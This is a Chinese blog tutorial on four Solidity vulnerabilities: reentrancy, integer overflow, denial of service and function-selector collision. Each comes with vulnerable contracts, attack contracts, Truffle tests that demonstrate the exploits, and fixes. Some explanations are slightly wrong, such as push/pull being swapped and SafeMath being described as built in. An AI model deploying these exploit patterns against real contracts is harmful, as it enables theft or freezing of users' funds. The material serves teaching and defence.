赞
踩
在区块链的发展中,出现了各种各样的合约漏洞,在solidity的迭代中,虽然有部分漏洞已经修复了,但是漏洞是会一直存在的。下面我将讲诉部分合约的经典漏洞。
重入攻击可以说是最为常见的一个漏洞了,通常在使用call方法时,最容易造成重入攻击。攻击者通过fallback函数来达到一直进行操作,从而转走或者铸造大量的代币。下面举一个简单的例子。当A到银行去取钱,A告诉机器:“我要取钱”,机器就会进行查询银行余额,余额大于0则吐出用户锁需要的钱,并询问A是否收到钱了。A又继续告诉机器“我要取钱”,机器再次去执行取钱操作,直到银行再也没有钱才会终止。像这样取出银行的所有钱。
- pragma solidity ^0.8.10;
- contract Bank {
- mapping (address => uint256) public balanceOf; // 余额mapping
-
- // 存入ether,并更新余额
- function deposit() external payable {
- balanceOf[msg.sender] += msg.value;
- }
-
- int public isUser = 0;
- // 在每一次交易前,先判断状态是否为不可使用,不可使用则报错
- //通过重入锁来防止重入
- // modifier _retreeLock(){
- // require(isUser == 0,"trans error");
- // //在交易时的状态为不可使用
- // isUser = 1;
- // _;
- // //交易完成后变为可使用状态
- // isUser = 0;
- // }
-
- // 提取msg.sender的全部ether
- function withdraw() external {
- uint256 balance = balanceOf[msg.sender]; // 获取余额
- require(balance > 0, "Insufficient balance");
- // 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险!
- (bool success, ) = msg.sender.call{value: balance}("");
- require(success, "Failed to send Ether");
- // 更新余额
- balanceOf[msg.sender] = 0;
- }
-
- // 获取银行合约的余额
- function getBalance() external view returns (uint256) {
- return address(this).balance;
- }
- }
- pragma solidity ^0.8.10;
- import './Bank.sol';
- contract Attack {
- Bank public bank; // Bank合约地址
-
- // 初始化Bank合约地址
- constructor(Bank _bank) {
- bank = _bank;
- }
-
-
- // 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数
- receive() external payable {
- if (bank.getBalance() >= 1 ether) {
- bank.withdraw();
- }
- }
-
- // 攻击函数,调用时 msg.value 设为 1 ether
- function attack() external payable {
- require(msg.value == 1 ether, "Require 1 Ether to attack");
- bank.deposit{value: 1 ether}();
- bank.withdraw();
- }
-
- // 获取本合约的余额
- function getBalance() external view returns (uint256) {
- return address(this).balance;
- }
- }
部署Bank合约,调用deposit方法正常的存入20个以太,然后部署Attack合约再调用attack方法存入一个以太,最后取出攻击合约余额是否等于21个以太。
- const Bank = artifacts.require("Bank")
- const Attack = artifacts.require("Attack")
-
- module.exports = async (deployer)=>{
- await deployer.deploy(Bank);
- const bank = await Bank.deployed();
- await deployer.deploy(Attack,bank.address);
- }
- const Bank = artifacts.require("Bank")
- const Attack = artifacts.require("Attack")
-
- contract("attack",(accounts)=>{
- it("attack test",async()=>{
- const bank = await Bank.deployed();
- //存入20个eth
- await bank.deposit({value:web3.utils.toWei("20","ether")});
- //部署攻击合约,并传入被攻击合约地址
- const attack = await Attack.deployed(bank.address,{from:accounts[2]});
- //调用攻击方法需要传入一个以太
- await attack.attack({from:accounts[2],value:web3.utils.toWei("1","ether")});
- //获取攻击合约的余额
- const blance = await attack.getBalance();
- //判断是否得到21个以太,将bank合约的所有余额全部取了出来
- assert.equal(web3.utils.toWei("21","ether"),blance,"attack error");
- })
- })
攻击成功的截图:
对于重入攻击我所才用的方法是,给方法加一个重入锁,在用户第一次调用时,显示交易状态初始化为未交易,交易过程中,交易状态变为正在交易,交易完成后(withdraw方法执行完成后)交易状态再变为未交易。使用修饰器可以执行这一个操作
- /**
- * 状态0表示未交易
- * 状态1表示正在交易
- */
- int public isUser = 0;
- // 在每一次交易前,先判断状态是否为不可使用,不可使用则报错
- //通过重入锁来防止重入
- modifier _retreeLock(){
- require(isUser == 0,"trans error");
- //在交易时的状态为不可使用
- isUser = 1;
- _;
- //交易完成后变为可使用状态
- isUser = 0;
- }
修复漏洞后运行截图:
整型溢出漏洞再低版本的solidity中,是最为常见的一个漏洞。因为在EVM中,限制了每一个数据类型的大小。以uint8为例:它的最小值为0,最大值为 2**8 -1,所有uint8的值的区间为[0,255],当为最小值时再-1就会变成255,当最大值+1时就会变为0。这种情况也就只会出现再低版本的solidity合约中,再高版本的solidity合约中,引入了 Safemath 库。再整型溢出时会报错。
- pragma solidity ^0.4.25;
-
- contract POC{
- /**
- 整型移除的漏洞:
- 1.什么是整形溢出:
- 在EVM中固定了每一个整型的最大值,如果到达整型的下临界值:0,整型的上临界值:2** ? -1;
- 列入uint8类型,下临界值是0,上临界值是 2**8 -1。当到达下临界值时 -1,数值则会下溢变为 2**8-1。
- 当到达上临界值时 +1,数值则会上溢变为 0。
- 2.怎么造成整型溢出
- 只需要判断当前数字是否到达了临界值,再进行加减操作
- 3.如何修复整型溢出
- 1.使用SafeMath库
- 2.当溢出时,直接抛出异常
- */
- //加法溢出
- //如果uint256 类型的变量达到了它的最大值(2**256 - 1),如果在加上一个大于0的值便会变成0
- uint256 public sumV;
- uint256 public subV;
- uint256 public mulV;
- function add_overflow() returns (uint256 _overflow) {
- uint256 max = 2**256 - 1;
- sumV = max +1;
- return sumV;
- }
-
-
- //减法溢出
- //如果uint256 类型的变量达到了它的最小值(0),如果在减去一个小于0的值便会变成2**256-1(uin256类型的最大值)
- function sub_underflow() returns (uint256 _underflow) {
- uint256 min = 0;
- subV = min -1;
- return subV;
- }
-
- //乘法溢出
- //如果uint256 类型的变量超过了它的最大值(2**256 - 1),最后它的值就会回绕变成0
- function mul_overflow() returns (uint256 _underflow) {
- uint256 mul = 2**255;
- uint256 flg =2;
- mulV = mul *flg;
- return mulV;
- }
- }
最为简单的一种方式就是在计算之前就进行判断,计算的结果是否会造成整型溢出的后果
- pragma solidity ^0.4.25;
-
- contract POC{
- /**
- 整型移除的漏洞:
- 1.什么是整形溢出:
- 在EVM中固定了每一个整型的最大值,如果到达整型的下临界值:0,整型的上临界值:2** ? -1;
- 列入uint8类型,下临界值是0,上临界值是 2**8 -1。当到达下临界值时 -1,数值则会下溢变为 2**8-1。
- 当到达上临界值时 +1,数值则会上溢变为 0。
- 2.怎么造成整型溢出
- 只需要判断当前数字是否到达了临界值,再进行加减操作
- 3.如何修复整型溢出
- 1.使用SafeMath库
- 2.当溢出时,直接抛出异常
- */
- //加法溢出
- //如果uint256 类型的变量达到了它的最大值(2**256 - 1),如果在加上一个大于0的值便会变成0
- uint256 public sumV;
- uint256 public subV;
- uint256 public mulV;
- function add_overflow() returns (uint256 _overflow) {
- uint256 max = 2**256 - 1;
- //加个限制条件,防止溢出
- require(max +1 !=0 ,"add_overflow error");
- sumV = max +1;
- return sumV;
- }
-
-
- //减法溢出
- //如果uint256 类型的变量达到了它的最小值(0),如果在减去一个小于0的值便会变成2**256-1(uin256类型的最大值)
- function sub_underflow() returns (uint256 _underflow) {
- uint256 min = 0;
- //当等于0时,禁止做减法
- require(min !=0,"sub_underflow error");
- subV = min -1;
- return subV;
- }
-
- //乘法溢出
- //如果uint256 类型的变量超过了它的最大值(2**256 - 1),最后它的值就会回绕变成0
- function mul_overflow() returns (uint256 _underflow) {
- uint256 mul = 2**255;
- uint256 flg =2;
- require(mul * flg !=0,"mul_overflow error");
- mulV = mul *flg;
- return mulV;
- }
- }
- const POC = artifacts.require("POC");
-
- module.exports = async(deployer)=>{
- await deployer.deploy(POC);
- }
- const POC = artifacts.require("POC");
-
- contract("poc test",async (accounts)=>{
- it("test",async ()=>{
- const poc = await POC.deployed();
- await poc.add_overflow();
- await poc.sub_underflow();
- await poc.mul_overflow();
- const sumv = await poc.sumV();
- const subv = await poc.subV();
- const mulv = await poc.mulV();
- assert.equal(sumv,0,"attack error");
- assert.equal(subv,2**256 - 1,"attack error");
- assert.equal(mulv,0,"attack error");
- })
- })
拒绝服务的漏洞攻击:
1.什么是拒绝服务漏洞
通常通过call函数的回调方法来实现导致合约状态改变,无法正常进行运行。从而导致交易失败。最为经典的攻击:以太之王
2.如何进行拒绝服务漏洞攻击
使用call函数的回调方法来实现导致合约状态改变,无法正常进行运行。从而导致交易失败。
3.如何避免拒绝服务漏洞攻击
外部合约的函数调用(例如 call)失败时不会使得重要功能卡死,比如将上面漏洞合约中的 require(success, "Refund Fail!"); 去掉,退款在单个地址失败时仍能继续运行。
合约不会出乎意料的自毁。
合约不会进入无限循环。
require 和 assert 的参数设定正确。
退款时,让用户从合约自行领取(push),而非批量发送给用户(pull)。
确保回调函数不会影响正常合约运行。
确保当合约的参与者(例如 owner)永远缺席时,合约的主要业务仍能顺利运行。
- // SPDX-License-Identifier: MIT
- pragma solidity ^0.8.4;
-
- // 有DoS漏洞的游戏,玩家们先存钱,游戏结束后,调用refund退钱。
- contract DoSGame {
- bool public refundFinished;
- mapping(address => uint256) public balanceOf;
- address[] public players;
-
- // 所有玩家存ETH到合约里
- function deposit() external payable {
- require(!refundFinished, "Game Over");
- require(msg.value > 0, "Please donate ETH");
- // 记录存款
- balanceOf[msg.sender] = msg.value;
- // 记录玩家地址
- players.push(msg.sender);
- }
-
- // 游戏结束,退款开始,所有玩家将依次收到退款
- function refund() external {
- require(!refundFinished, "Game Over");
- uint256 pLength = players.length;
- // 通过循环给所有玩家退款
- for(uint256 i; i < pLength; i++){
- address player = players[i];
- uint256 refundETH = balanceOf[player];
- (bool success, ) = player.call{value: refundETH}("");
- //此处去掉用于修复合约,最简单的方式,不让合约阻塞
- require(success, "Refund Fail!");
- balanceOf[player] = 0;
- }
- refundFinished = true;
- }
-
- function balance() external view returns(uint256){
- return address(this).balance;
- }
- }
- // SPDX-License-Identifier: MIT
- import "./DoSGame.sol";
- pragma solidity ^0.8.4;
- contract Attack {
- // 退款时进行DoS攻击
- fallback() external payable{
- revert("DoS Attack!");
- }
-
- // 参与DoS游戏并存款
- function attack(address gameAddr) external payable {
- DoSGame dos = DoSGame(gameAddr);
- dos.deposit{value: msg.value}();
- }
- }
首先部署漏洞合约,,在正常的往里存钱,然后再部署攻击合约,调用attack方法后,再调用漏洞合约中的refund方法查看是否能够正常的进行退款。
- const DoSGame = artifacts.require("DoSGame");
- const Attack =artifacts.require("Attack");
-
- module.exports = async(deployer)=>{
- await deployer.deploy(DoSGame);
- await deployer.deploy(Attack);
- }
- const DoSGame = artifacts.require("DoSGame");
- const Attack =artifacts.require("Attack");
-
- contract("dosAttack test",async(accounts)=>{
- it("test",async ()=>{
- const dosGame = await DoSGame.deployed();
- //进行存钱进去
- await dosGame.deposit({from:accounts[1],value:web3.utils.toWei("2","ether")});
- await dosGame.deposit({from:accounts[2],value:web3.utils.toWei("2","ether")});
- await dosGame.deposit({from:accounts[3],value:web3.utils.toWei("2","ether")});
- const attack = await Attack.deployed();
- await attack.attack(dosGame.address,{from:accounts[6],value:web3.utils.toWei("2","ether")});
- await dosGame.refund();
-
- })
- })
拒绝服务的造成就是因为合约方法阻塞,从而导致合约无法正常运行,最简单的方式就是避免让方法阻塞,再上面的合约中造成阻塞的原因就是refund方法中的 (bool success, ) = player.call{value: refundETH}("");这一句让方法无法正常使用,导致合约无法正常运行。这里只需要阻塞这一句代码就可以正常运行了。
攻击成功截图:
在了解选择器碰撞之前,需要先了解什么是选择器?
在soldity中的选择器就是,一个函数名(参数类型 参数名……)组成的哈希的前4个字节。相当于就是EVM需要通过这4个字节来执行相应的方法。因为是4个字节大小,所以很容易找出由相同选择器的不同的方法存在。从而造成方法的错误调用。
大家可以用这两个网站来查同一个选择器对应的不同函数:
选择器碰撞的攻击原理?
获取到需要进行攻击的指定方法的选择器,在以下的示例中知道putCurEpochConPubKeyBytes方法的选择器是:0x41973cd9,而我们攻击时就需要构建一个函数选择器和0x41973cd9这个一致的函数,在简介的达到攻击的效果(调用putCurEpochConPubKeyBytes方法的效果)。
- // SPDX-License-Identifier: MIT
- pragma solidity ^0.8.10;
- contract SelectorClash {
- /**
- 选择器碰撞的示例合约:
- 1.什么是选择器?
- 1).选择器就是函数签名的哈希值的前4个字节,函数的选择器也就类似于函数在vm中的地址一样,
- 通过选择器来找到函数并且进行调用。
- 2).函数签名就是 函数名(参数类型及参数名称,……)
- 3).因为选择器只有4个字节,所有很容易造成不同函数之间的选择器一致(冲突)的情况存在。
- 2.选择器碰撞的攻击原理?
- 获取到需要进行攻击的指定方法的选择器,在以下的示例中知道putCurEpochConPubKeyBytes方法的选择器是:0x41973cd9,
- 而我们攻击时就需要构建一个函数选择器和0x41973cd9这个一致的函数,在简介的达到攻击的效果。
- 3.如何进行攻击?
- 1)攻击者需要知道攻击函数的选择器,然后构建一个选择器和被攻击函数一致的函数,从而达到攻击的效果。
- 4.如何进行修复?
- 1).函数选择器很容易被碰撞,即使改变参数类型,依然能构造出具有相同选择器的函数。
- 2).管理好合约函数的权限,确保拥有特殊权限的合约的函数不能被用户调用。
- */
-
-
- bool public solved; // 攻击是否成功
-
- // 攻击者需要调用这个函数,但是调用者 msg.sender 必须是本合约。
- function putCurEpochConPubKeyBytes(bytes memory _bytes) public {
- require(msg.sender == address(this), "Not Owner");
- solved = true;
- }
-
- // 有漏洞,攻击者可以通过改变 _method 变量碰撞函数选择器,调用目标函数并完成攻击。
- function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){
- (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num)));
- }
- }
-
攻击者需要知道攻击函数的选择器,然后构建一个选择器和被攻击函数一致的函数,从而达到攻击的效果。
- const SelectorClash = artifacts.require("SelectorClash")
-
- module.exports = async(deployer)=>{
- await deployer.deploy(SelectorClash);
- }
- const SelectorClash = artifacts.require("SelectorClash")
-
- contract("SelectorClash test",(accounts)=>{
- it("attack test",async()=>{
- const selectorClash = await SelectorClash.deployed();
- await selectorClash.executeCrossChainTx("0x6631313231333138303933","0x","0x",0);
- const solved = await selectorClash.solved();
- console.log("solve",solved);
- assert.equal(solved,true,"attack fail");
- })
- })
1).函数选择器很容易被碰撞,即使改变参数类型,依然能构造出具有相同选择器的函数。
2).管理好合约函数的权限,确保拥有特殊权限的合约的函数不能被用户调用。
攻击成功效果截图:
资料来源:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。